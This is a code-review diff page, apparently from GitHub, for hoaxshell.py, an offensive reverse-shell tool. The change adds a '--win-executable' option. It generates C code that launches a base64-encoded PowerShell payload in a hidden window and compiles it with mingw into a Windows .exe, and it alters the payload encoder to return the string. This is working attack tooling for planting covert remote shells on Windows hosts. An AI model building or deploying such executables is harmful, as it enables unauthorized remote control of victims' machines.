Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 24 additions & 3 deletions hoaxshell.py
Original file line number Diff line number Diff line change
Expand Up @@ -92,6 +92,7 @@
parser.add_argument("-ng", "--ngrok", action="store_true",help="Generate Payload with Ngrok")
parser.add_argument("-u", "--update", action="store_true", help = "Pull the latest version from the original repo.")
parser.add_argument("-q", "--quiet", action="store_true", help = "Do not print the banner on startup.")
parser.add_argument("-e", "--win-executable", action="store", help = "Create a Windows Executable with the payload.")

args = parser.parse_args()

Expand Down Expand Up @@ -168,9 +169,13 @@ def promptHelpMsg():



def encodePayload(payload):
def encodePayload(payload, printPayload=True):
enc_payload = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(f'{PLOAD}{enc_payload}{END}')

if printPayload:
print(f'{PLOAD}{enc_payload}{END}')
else:
return enc_payload



Expand Down Expand Up @@ -667,9 +672,25 @@ def main():

if args.exec_outfile:
payload = payload.replace("*OUTFILE*", args.exec_outfile)

encodePayload(payload) if not args.raw_payload else print(f'{PLOAD}{payload}{END}')

# Create a Windows Executable #
if args.win_executable:

try:
check_output(['gcc', '--version'])

with open(f'{args.win_executable}.c', 'w') as f:
f.write('#include <stdlib.h>\nint main(){ system("start powershell -WindowStyle hidden' + encodePayload(payload, False).replace("powershell", "") + '"); }')

if system(f'i686-w64-mingw32-gcc -o {args.win_executable}.exe {args.win_executable}.c && rm -rf {args.win_executable}.c') == 0:
print(f'[{INFO}] Windows Executable created: {BOLD}{args.win_executable}.exe{END}')
else: print(f'[{FAILED}] Unable to create Windows Executable.')

except FileNotFoundError:
print(f'[{FAILED}] gcc/i686-w64-mingw32-gcc not installed. The Windows Executable will {BOLD}NOT{END} be created.')

print(f'[{INFO}] Tunneling [{BOLD}{ORANGE}ON{END}]') if tunneling else chill()

if tunneling:
Expand Down